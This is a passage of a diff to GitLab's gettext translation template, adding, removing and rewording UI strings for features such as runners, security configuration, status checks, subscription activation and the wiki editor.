@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33230,9 +33898,6 @@ msgstr[0] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
